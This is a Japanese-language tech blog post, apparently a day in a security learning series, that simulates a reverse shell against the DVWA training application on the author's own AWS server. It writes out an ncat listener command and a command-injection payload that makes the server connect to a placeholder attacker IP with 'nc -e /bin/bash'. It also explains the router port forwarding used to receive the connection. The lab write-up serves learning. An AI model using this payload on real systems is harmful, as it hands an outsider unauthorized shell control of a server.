6
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

リバースシェルによるサーバーの乗っ取りをシミュレーション

Posted at

連日投稿29日目。昨日のコマンドインジェクションで開けた穴を使い、今日はサーバーのシェルを乗っ取る「リバースシェル」をやってみる。

今回の目的

こちらに則り進めています。

昨日できたのは、DVWA(Web site)の脆弱性をついてコマンドが実行できるところまで。
今回は、その標的サーバー側から自分のPCにコネクションを接続させ、対話的なシェルを確立するところをゴールに据えてます。
これができると、サーバーを自由に操作できるようになる。はず。

このチャレンジについて
目的: セキュリティエンジニアとしての技術力向上
手段: シェルスクリプト作成を通じて学習
実施する事: 自動化,監視,ツール開発基礎学習など

目次

実行結果

まず、攻撃する側のPC(今回は自分のWindows)で接続を待ち受ける。

# PowerShell (Local Windows PC)
# とりあえずポート4444で接続を待つ
> ncat -lvp 4444
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444

次に、DVWAでペイロードを投入。すると、待ち受けていたターミナルに接続が確立される。

(はずだった。DVWAが用意しているユーザアカウント(www-data)の権限の問題で、実際にはフォームからペイロードの挿入はできなかった。今回はシミュレーションを続行するために、ペイロードのコマンドをDVWAが稼働しているLinuxに直接ログインして打ち込むことで再現した。)
※直接ログインしたときに使うデフォのユーザ(ec2-user)と違って、www-dataだとncのあるパス(/usr/bin/nc)にアクセスできないと思われる。

# PowerShell (Local Windows PC)
> ncat -lvp 4444
...
# 接続が来た!IPアドレスは伏せておく
Ncat: Connection from XX.XXX.XXX.XXX.

# whoamiを打ってみる。サーバーのユーザー名が返ってきたら成功
whoami
www-data

# pwdでカレントディレクトリを確認
pwd
/var/www/html/vulnerabilities/exec

# よし、サーバーのシェルを奪取した。

実行環境

  • クラウド環境: AWS EC2
  • コンテナ技術: Docker
  • 接続元(ローカルPC): Windows 11
  • ターミナルソフト: PowerShell
  • 接続先(サーバー): DVWA (DebianベースのDockerイメージ)
  • 使用言語: Shell (bash)
  • 外部ライブラリ: なし
  • テスト対象: DVWA (Command Injection)

開発ステップ

  1. リスナーの準備: 攻撃者PCでncatを使い、特定のポートで接続を待ち受ける。
  2. ペイロードの作成: 標的サーバーに実行させるリバースシェル用のコマンドを作成する。
  3. ネットワーク問題の解決: 標的(EC2)から攻撃者PC(自宅)へ接続するための経路(ポートフォワーディング)について検討する。
  4. ペイロードの投入と接続確認: DVWAの脆弱性を利用してペイロードを実行し、リスナー側でシェルが取得できることを確認する。

開発中の気づき

今日はコードそのものより、ネットワークの概念についてざっとおさらいが必要です。

  1. ポートフォワーディングの壁:

    • 最初、自分のローカルIPを使おうとして「いや、届くわけないか」と気づく。標的はパブリックなEC2、自分はNATの内側。よくよく考えたらそりゃそうか。
    • 解決策はルーターのポートフォワーディング。外部から自宅のグローバルIPの特定ポートに来た通信を、PCに転送する設定。正直ここで一番困ってた。この設定ができないと、外からの接続は全部ルーターに捨てられちゃう。
  2. ペイロードの -e /bin/bash ってなんぞ:

    • nc <IP> <PORT> -e /bin/bash-eオプションが何をしているのか、深く調べた。
    • netcatに「接続したら、/bin/bashを実行しろ」と命令し、その入出力を全部ネットワーク越しにこっちに持ってきてくれる。なるほど、と思った。これがあるから、ただのパイプ役じゃなくて、対話的なシェルが手に入るんだな~と。
  3. -eオプションの存在意義:

    • 「これ、攻撃者専用オプションでは?そもそもコマンドを送れるような仕組みなんて作るなよ」と思ったけど、元々はSSH何かが主流になる前の、信頼できるNW内で管理者が使うためのデバッグ機能だったらしい。認証も暗号化もないから、今どき使うのは危険だけど。

コード全文

今回の挑戦で鍵となったコマンドは以下の2つ。

1. 攻撃者PC(リスナー)側のコマンド:

ncat -lvp 4444

2. 被害者サーバー(DVWA)で実行させるペイロード:

# YOUR_GLOBAL_IPは実際のグローバルIPアドレスに置き換える
127.0.0.1 && nc YOUR_GLOBAL_IP 4444 -e /bin/bash

コードの詳細な解説

  • ncat -lvp 4444

    • -l: Listenモード。接続を待ち受ける。
    • -v: 詳細表示。接続元のIPなどがわかるのでデバッグに便利。
    • -p 4444: Port 4444番で待ち受ける。
  • ... && nc YOUR_GLOBAL_IP 4444 -e /bin/bash

    • &&: 前のコマンドが成功したら、後ろのコマンドを実行する。
    • nc YOUR_GLOBAL_IP 4444: 自分のPC(グローバルIP)のポート4444に接続を開始する。
    • -e /bin/bash: これが核。 接続後、サーバー上で/bin/bashを起動し、その入出力をすべてネットワーク経由で転送する。

実行方法

  1. ポートフォワーディング設定: 自宅ルーターで、外部からのTCP:4444へのアクセスを、自分のPCのローカルIPに転送する。
  2. リスナー起動: 自分のPCでncat -lvp 4444を実行する。
  3. ペイロード投入: DVWAの画面で、IPを書き換えたペイロードを投入(本来は!今回はシミュレーション)し、実行する。
  4. 接続確認: リスナー側に接続が来て、whoamiなどのコマンドが打てれば成功。

まとめ

今日の挑戦で、フェーズが「偵察」から「侵入」へとはっきりと移行した。シェルを確保することは、サーバーを「自分のものにした」っていうか「やったったわ」感がある。同時に、ポートフォワーディングのようなネットワークの基礎知識も大事だなと。明日はこのシェルを使って、サーバー内部の探索をする。

6
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
6
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?